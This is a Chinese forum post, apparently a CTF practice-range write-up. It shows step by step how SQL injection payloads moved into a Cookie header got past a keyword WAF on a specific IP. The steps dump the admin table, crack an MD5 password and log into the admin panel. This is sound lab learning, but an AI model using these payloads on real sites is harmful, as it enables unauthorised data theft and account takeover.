tester作业提交(靶场第二章:遇到阻难!绕过WAF过滤!)

tester   ·   发表于 2018-08-07 14:52:04   ·   CTF&WP专版

1. 寻找注入点1.1 http://120.203.13.75:8001/shownews.asp?id=1711.2 ?id=171后边加and 1 = 1http://120.203.13.75:8001/shownews.asp?id=171 and 1=1

提示:

请求中不能包含and update delete inset mid master等非法字符

但是除了提示的些字符以外,可以尝试其他关

1.3 http://120.203.13.75:8001/shownews.asp?id=171 order by 10报错

http://120.203.13.75:8001/shownews.asp?id=171 order by 11报错

说明还是可以注

知道目表中有10个字段

2. 猜表名

2.1  不能使用第一章的UNION SELECT 1,table_name from information_schema.tables where table_schema=database()来获取表名

2.2  使用Cookie将测试语句发给服务器,因为WAF一般只拦截get,post请求使用Modheader模拟Request Headers,使用Cookie传参,证明Cookie传参也行得通链接:http://120.203.13.75:8001/shownews.asp

传参如下(对勾要选中):

 

3. 直接使用Cookie对参数sql语句拼接,进行sql注入

链接:http://120.203.13.75:8001/shownews.asp

传参:

Name: Cookie

Value: id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

返回如下:

说明:

1. admin表是存在的

2. 2,3,7,8,9字段内容应该就是图中的位置要显示的内容。

3. 猜字段名

2,3,7,8,9字段在页面上有显示,所以 2,3,7,8,9均可以显示某些字段的内容

猜测表中有哪些字段名

最常见的管理表字段名:username,password,如果不可以,可以尝试pwd,user等等字段id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

或者id=171+union+select+1,2,3,4,5,6,7,username,password,10+from+admin

用户名:admin密码:b9a2a2b5dffb918c密码使用md5加密了,所以要解密解密后拿到密码为welcome

4. 猜测后台地址http://120.203.13.75:8001/admin/Login.asp

使用上边的用户名密码登陆

提示:

竟然成功进入了后台!拿走通关KEY,迎接下一关吧!zkz{*******}


打赏我,让我更有动力~

0 条回复   |  直到 2018-8-7 | 1679 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.